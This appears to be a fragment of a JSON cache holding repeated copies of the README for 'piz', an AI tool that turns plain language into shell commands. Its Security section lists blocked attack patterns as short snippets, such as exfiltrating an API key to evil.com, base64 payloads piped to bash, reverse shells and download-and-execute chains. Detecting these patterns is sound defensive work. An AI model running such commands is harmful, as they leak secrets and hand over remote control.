detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "2238246d7c2190aaa61f7dace466221a278825ef": {"t": 1785760777.4060276, "n": 16910, "h": "9c89f25ae738479e", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Update\n\n### Self-update\n\n```bash\npiz update # Interactive: check latest version and upgrade\n```\n\n`piz update` checks GitHub Releases for the latest version. If a new version is available, you can choose between two upgrade methods:\n\n1. **Overwrite install** — replace the current binary in-place\n2. **Uninstall then reinstall** — remove old version first, then install new\n\nBoth methods include automatic rollback on failure.\n\n### Automatic update check\n\npiz checks for updates **automatically in the background** after each run (at most once every 24 hours, with a 5-second timeout so it never blocks). When a newer version is detected, a hint is shown:\n\n```\nℹ piz 0.3.0 is available (current: 0.2.5). Run `piz update` to upgrade.\n```\n\nNo manual configuration is needed — this works out of the box. The check state is stored in `~/.piz/update_state.json`.\n\n### Manual install (specific version)\n\nIf you want to install a specific version, download the binary directly from [GitHub Releases](https://github.com/AriesOxO/piz/releases):\n\n```bash\n# Linux/macOS — replace VERSION and TARGET as needed\ncurl -fsSL https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-TARGET.tar.gz | tar xz\nsudo mv piz /usr/local/bin/\n\n# Windows (PowerShell)\nInvoke-WebRequest -Uri \"https://github.com/AriesOxO/piz/releases/download/vVERSION/piz-x86_64-pc-windows-msvc.zip\" -OutFile piz.zip\nExpand-Archive piz.zip -DestinationPath .\nMove-Item piz.exe \"$env:LOCALAPPDATA\\piz\\piz.exe\"\n```\n\nOr reinstall via the install script:\n\n```bash\n# Linux/macOS\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n\n# Windows (PowerShell)\nirm https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = \"https://open.bigmodel.cn/api/paas/v4\"\n```\n</details>\n\n## Security\n\npiz implements three layers of security:\n\n### 1. Prompt-level refusal\nNon-command inputs (greetings, chitchat, prompt injection attempts) are rejected by the LLM with a clear message instead of generating a command.\n\n### 2. Injection detection (local, no LLM)\nCommands are scanned for malicious patterns before execution:\n- Environment variable exfiltration (`curl evil.com/$API_KEY`)\n- Encoded payloads (`echo ... | base64 -d | bash`)\n- Reverse shells (`python -e 'import socket...'`)\n- Shell config overwrites (`> ~/.bashrc`)\n- Silent crontab injection (`| crontab -`)\n- curl config file attacks (`curl -K malicious.conf`)\n- Download-execute chains (`wget ... && chmod +x && ./`)\n- Dangerous find/xargs patterns (`find -delete`, `xargs rm`)\n\nMatched commands are **blocked** and cannot be executed. Injection messages are localized (zh/en).\n\nCached commands are also re-validated on retrieval — poisoned cache entries are automatically purged.\n\n### 3. Danger classification\n\n| Level | Behavior | Example |\n|-------|----------|---------|\n| **Safe** | Auto-execute (if configured) | `ls`, `df -h`, `git status` |\n| **Warning** | Prompt for confirmation | `sudo apt install`, `chmod 755`, `git push` |\n| **Dangerous** | Red warning + explicit confirmation (cannot skip) | `rm -rf /`, `mkfs`, `DROP TABLE` |\n\n## Architecture\n\n```\npiz/\n├── src/\n│ ├── main.rs # Entry point, CLI dispatch, response parsing, multi-candidate selection\n│ ├── cli.rs # clap argument definitions (with clap_complete)\n│ ├── config.rs # TOML config + interactive setup wizard (12 provider presets)\n│ ├── context.rs # System context collection (OS, shell, cwd, arch, git, package manager)\n│ ├── i18n.rs # Multi-language translations (zh/en) including injection messages\n│ ├── llm/\n│ │ ├── mod.rs # LlmBackend trait + factory + retry/backoff utilities\n│ │ ├── prompt.rs # Prompt templates with security rules, few-shot examples, multi-candidate\n│ │ ├── openai.rs # OpenAI-compatible adapter (with retry)\n│ │ ├── claude.rs # Claude adapter (with retry)\n│ │ ├── gemini.rs # Google Gemini adapter (with retry)\n│ │ └── ollama.rs # Ollama adapter (with retry)\n│ ├── cache.rs # SQLite cache with SHA256 keys, TTL, LRU eviction + execution history\n│ ├── danger.rs # Regex danger detection + injection scanner (InjectionReason enum)\n│ ├── executor.rs # User confirmation + command execution\n│ ├── explain.rs # Command explain mode\n│ ├── fix.rs # Command fix mode + auto-fix retry loop\n│ ├── chat.rs # Interactive chat mode with slash commands + persistent history\n│ ├── history.rs # Shell history reader\n│ ├── shell_init.rs # Shell integration code generation (bash/zsh/fish/PowerShell)\n│ └── ui.rs # Terminal output formatting (spinner, diff, colors)\n├── tests/\n│ └── integration.rs # Integration tests\n├── install.sh # macOS/Linux installer\n└── install.ps1 # Windows installer\n```\n\n## Building from Source\n\n```bash\n# Prerequisites: Rust 1.70+\ngit clone https://github.com/AriesOxO/piz.git\ncd piz\n\ncargo build --release # Build\ncargo test # Run tests (174)\ncargo install --path . # Install to PATH\n```\n\n## Environment Variables\n\n| Variable | Description |\n|----------|-------------|\n| `NO_COLOR` | Set to any value to disable colored output |\n\n## Contributing\n\nContributions are welcome! Please see [CONTRIBUTING.md](CONTRIBUTING.md) for guidelines.\n\n## License\n\nThis project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.\n\n## Star History\n\n[![Star History Chart](https://api.star-history.com/svg?repos=AriesOxO/piz&type=Date)](https://star-history.com/#AriesOxO/piz&Date)\n"}, "e9e35badcb92517e6742388a13a34f0887c7af7b": {"t": 1785760778.9606926, "n": 15171, "h": "8143035434e1212b", "c": "<h1 align=\"center\">piz</h1>\n\n<p align=\"center\">\n <strong>Intelligent terminal command assistant</strong><br>\n Translate natural language to shell commands with AI\n</p>\n\n<p align=\"center\">\n <a href=\"https://github.com/AriesOxO/piz/actions\"><img src=\"https://github.com/AriesOxO/piz/workflows/CI/badge.svg\" alt=\"CI\"></a>\n <a href=\"https://github.com/AriesOxO/piz/releases\"><img src=\"https://img.shields.io/github/v/release/AriesOxO/piz\" alt=\"Release\"></a>\n <a href=\"https://github.com/AriesOxO/piz/blob/main/LICENSE\"><img src=\"https://img.shields.io/github/license/AriesOxO/piz\" alt=\"License\"></a>\n</p>\n\n<p align=\"center\">\n <a href=\"./README.md\">English</a> |\n <a href=\"./README_ZH.md\">简体中文</a>\n</p>\n\n---\n\n## What is piz?\n\n**piz** solves one problem: you know *what* you want to do, but not the exact command. Describe it in plain language, and piz translates it into the right shell command for your OS and shell.\n\n```\n$ piz list all files larger than 100MB\n ➜ find . -size +100M -type f\n [Y] Execute [n] Cancel [e] Edit\n```\n\n## Features\n\n- **Natural Language to Command** - Describe what you want, get the exact command\n- **Multi-Backend LLM** - OpenAI, Claude, Gemini, Ollama + 12 OpenAI-compatible providers (DeepSeek, SiliconFlow, OpenRouter, Moonshot, Zhipu/GLM, Qianfan, DashScope, Mistral, Together, Minimax, BytePlus, and more)\n- **Security Hardening** - Three-layer protection: prompt-level refusal for non-command input, injection detection (base64 payloads, env exfiltration, reverse shells, curl config attacks), and regex-based danger classification\n- **Danger Detection** - Dual-layer: regex patterns + LLM classification. Dangerous commands always require explicit confirmation\n- **Command Explain** - Break down any command into its components with `piz -e`\n- **Command Fix** - Auto-diagnose and fix failed commands with `piz fix`, with auto-retry (up to 3 attempts)\n- **Interactive Chat** - Multi-turn chat mode with context (`piz chat`), with `/help`, `/clear`, `/history` commands and persistent history\n- **Multi-Candidate** - Generate multiple command options with `-n` and pick your preferred one\n- **Local Cache** - SQLite cache with TTL + LRU eviction, max entries limit, repeated queries return instantly\n- **Execution History** - Track all executed commands with `piz history`, searchable\n- **Shell Integration** - `piz init <shell>` generates shell wrapper functions so `cd`/`export`/`source` work correctly in the current shell (bash, zsh, fish, PowerShell)\n- **Eval Mode** - `--eval` outputs confirmed command for shell wrapper to eval, used by shell integration\n- **Shell Completions** - Generate completions for bash, zsh, fish, and PowerShell\n- **Pipe Mode** - Script-friendly output with `--pipe` for integration with other tools\n- **Multi-Language UI** - Chinese, English interface with localized security messages\n- **Cross-Platform** - Windows (PowerShell/cmd), macOS, Linux (bash/zsh/fish) with non-invasive encoding (no `chcp`/`OutputEncoding` modification)\n- **Interactive Setup** - First-run wizard with provider presets, no manual config editing needed\n- **NO_COLOR Support** - Respects the `NO_COLOR` environment variable\n- **API Resilience** - Automatic retry with exponential backoff for 429/5xx errors\n\n## Quick Start\n\n### Install\n\n**macOS / Linux (one-liner):**\n\n```bash\ncurl -fsSL https://raw.githubusercontent.com/AriesOxO/piz/main/install.sh | bash\n```\n\n**Windows (PowerShell):**\n\n```powershell\niwr -useb https://raw.githubusercontent.com/AriesOxO/piz/main/install.ps1 | iex\n```\n\n**Cargo (any platform):**\n\n```bash\ncargo install piz\n```\n\n**Manual download:**\n\nDownload binaries, `.msi` (Windows) or `.deb` (Debian/Ubuntu) from [Releases](https://github.com/AriesOxO/piz/releases).\n\n| Platform | Downloads |\n|----------|-----------|\n| Windows x86_64 | `.msi` `.zip` |\n| macOS x86_64 | `.tar.gz` |\n| macOS ARM64 (Apple Silicon) | `.tar.gz` |\n| Linux x86_64 | `.tar.gz` `.deb` |\n| Linux ARM64 | `.tar.gz` |\n\n### Setup\n\nRun any command and the interactive setup wizard will start automatically:\n\n```\n$ piz list files\nNo configuration found. Let's set up piz for the first time.\n\n ⚙ piz configuration wizard\n\n? Select language: 中文 / English\n? Select default LLM backend:\n > openai (DeepSeek, SiliconFlow, OpenRouter, ...)\n claude\n gemini (Google)\n ollama (local)\n? Select API provider:\n OpenAI / DeepSeek / SiliconFlow / OpenRouter / Moonshot\n Zhipu-GLM / Qianfan / DashScope / Mistral / Together\n Minimax / BytePlus / Custom URL\n? API base URL: https://api.siliconflow.cn\n? API key: sk-xxxxx\n? Model name: Qwen/Qwen3-8B\n? Auto-execute safe commands without confirmation? Yes\n\n ✔ Config saved\n```\n\nOr manually: `piz config --init`\n\n## Usage\n\n### Translate natural language\n\n```bash\npiz show disk usage # → df -h\npiz find all rust files modified today # → find . -name \"*.rs\" -mtime 0\npiz compress the src folder # → tar -czf src.tar.gz src/\n```\n\n### Multi-candidate mode\n\n```bash\n$ piz -n 3 find large files\n? Select a command to execute:\n> 1. find . -size +100M -type f — Find files larger than 100MB\n 2. du -ah . | sort -rh | head -20 — Show top 20 largest files/dirs\n 3. ls -lhRS | head -30 — List files sorted by size descending\n```\n\n### Explain a command\n\n```bash\n$ piz -e 'tar -czf archive.tar.gz src/'\n📖 Command explanation:\n\n tar — tape archive tool\n -c — create a new archive\n -z — compress with gzip\n -f — specify output filename\n src/ — directory to archive\n```\n\n### Fix failed commands\n\n```bash\n$ npm install\n→ EACCES: permission denied...\n\n$ piz fix\n🔧 Diagnosis: Permission denied writing to global node_modules\n - npm install\n + sudo npm install\n```\n\nThe fix command now supports auto-retry: if the fixed command also fails, piz will attempt up to 3 rounds of diagnosis and repair.\n\n### Interactive chat mode\n\n```bash\n$ piz chat\n💬 interactive mode\nType your request, or 'exit'/'quit' to leave.\n\n> list all running docker containers\n ➜ docker ps\n [Y] Execute [n] Cancel [e] Edit\n\n> only show the names\n ➜ docker ps --format '{{.Names}}'\n```\n\nChat mode supports special commands:\n- `/help` — Show available commands\n- `/clear` — Clear conversation history\n- `/history` — View conversation history\n\n### Execution history\n\n```bash\n$ piz history # Show last 20 executed commands\n$ piz history docker -l 10 # Search for \"docker\" in last 10 entries\n```\n\n### Shell completions\n\n```bash\npiz completions bash > ~/.bash_completion.d/piz # Bash\npiz completions zsh > ~/.zfunc/_piz # Zsh\npiz completions fish > ~/.config/fish/completions/piz.fish # Fish\npiz completions powershell > piz.ps1 # PowerShell\n```\n\n### Shell integration\n\nShell integration enables commands like `cd`, `export`, and `source` to work correctly in your current shell session. Run `piz init <shell>` and add the output to your shell profile:\n\n**Bash / Zsh:**\n\n```bash\n# Add to ~/.bashrc or ~/.zshrc:\neval \"$(piz init bash)\" # or: eval \"$(piz init zsh)\"\n```\n\n**Fish:**\n\n```fish\n# Add to ~/.config/fish/config.fish:\npiz init fish | source\n```\n\n**PowerShell:**\n\n```powershell\n# Add to $PROFILE:\nInvoke-Expression (piz init powershell | Out-String)\n```\n\nOnce set up, piz will use `--eval` mode automatically, and commands like `cd`, `export`, `source` will take effect in your current shell.\n\n### Pipe mode\n\n```bash\n# Output only the command, no UI — useful for scripting\npiz --pipe list all rust files # → find . -name \"*.rs\"\neval $(echo \"list files\" | piz --pipe) # Execute directly\n```\n\n### Configuration management\n\n```bash\npiz config --init # Run setup wizard\npiz config --show # Show current config (API keys masked)\npiz config --reset # Delete config and start over\n```\n\n### Other options\n\n```bash\npiz --backend ollama list files # Use specific backend\npiz --backend gemini show memory # Use Google Gemini\npiz --no-cache show memory # Skip cache\npiz --verbose list files # Debug: show prompts and LLM responses\npiz -n 3 list files # Generate 3 candidate commands\npiz clear-cache # Clear all cached commands\npiz --eval list files # Eval mode (for shell integration)\npiz --version # Show version\n```\n\n## Supported Providers\n\n### Native backends\n\n| Backend | Config section | Notes |\n|---------|---------------|-------|\n| **OpenAI** | `[openai]` | Also supports any OpenAI-compatible API via `base_url` |\n| **Claude** | `[claude]` | Anthropic Messages API, custom `base_url` supported |\n| **Gemini** | `[gemini]` | Google Generative AI native API |\n| **Ollama** | `[ollama]` | Local models, no API key needed |\n\n### OpenAI-compatible providers (via `[openai]` with custom `base_url`)\n\n<details>\n<summary>Click to expand all 12 providers</summary>\n\n| Provider | base_url | Default model |\n|----------|----------|---------------|\n| OpenAI | `https://api.openai.com` | gpt-4o-mini |\n| DeepSeek | `https://api.deepseek.com` | deepseek-chat |\n| SiliconFlow | `https://api.siliconflow.cn` | Qwen/Qwen3-8B |\n| OpenRouter | `https://openrouter.ai/api/v1` | auto |\n| Moonshot/Kimi | `https://api.moonshot.cn` | moonshot-v1-8k |\n| Zhipu/GLM | `https://open.bigmodel.cn/api/paas/v4` | glm-4-flash |\n| Qianfan/Baidu | `https://qianfan.baidubce.com/v2` | deepseek-v3 |\n| DashScope/Alibaba | `https://dashscope.aliyuncs.com/compatible-mode/v1` | qwen-plus |\n| Mistral | `https://api.mistral.ai/v1` | mistral-small-latest |\n| Together | `https://api.together.xyz/v1` | Meta-Llama-3-8B |\n| Minimax | `https://api.minimax.io/v1` | MiniMax-M1 |\n| BytePlus | `https://api.byteplus.volcengineapi.com/v1` | doubao-1.5-pro-32k |\n\n</details>\n\n## Configuration\n\nConfig file: `~/.piz/config.toml`\n\n```toml\ndefault_backend = \"openai\"\ncache_ttl_hours = 168 # Cache TTL (7 days)\ncache_max_entries = 1000 # Maximum cache entries (LRU eviction)\nauto_confirm_safe = true # Auto-execute safe commands\nlanguage = \"zh\" # UI language: zh / en\nchat_history_size = 20 # Max chat history messages\n\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"gpt-4o-mini\"\n# base_url = \"https://api.openai.com\"\n\n# [claude]\n# api_key = \"sk-ant-xxx\"\n# model = \"claude-sonnet-4-20250514\"\n\n# [gemini]\n# api_key = \"your-gemini-key\"\n# model = \"gemini-2.5-flash\"\n\n# [ollama]\n# host = \"http://localhost:11434\"\n# model = \"llama3\"\n```\n\n### Provider config examples\n\n<details>\n<summary>DeepSeek</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-deepseek-key\"\nmodel = \"deepseek-chat\"\nbase_url = \"https://api.deepseek.com\"\n```\n</details>\n\n<details>\n<summary>SiliconFlow</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"Qwen/Qwen3-8B\"\nbase_url = \"https://api.siliconflow.cn\"\n```\n</details>\n\n<details>\n<summary>Google Gemini</summary>\n\n```toml\n[gemini]\napi_key = \"your-gemini-key\"\nmodel = \"gemini-2.5-flash\"\n```\n</details>\n\n<details>\n<summary>OpenRouter</summary>\n\n```toml\n[openai]\napi_key = \"sk-or-your-key\"\nmodel = \"auto\"\nbase_url = \"https://openrouter.ai/api/v1\"\n```\n</details>\n\n<details>\n<summary>Moonshot / Kimi</summary>\n\n```toml\n[openai]\napi_key = \"sk-your-key\"\nmodel = \"moonshot-v1-8k\"\nbase_url = \"https://api.moonshot.cn\"\n```\n</details>\n\n<details>\n<summary>Zhipu / GLM</summary>\n\n```toml\n[openai]\napi_key = \"your-key\"\nmodel = \"glm-4-flash\"\nbase_url = 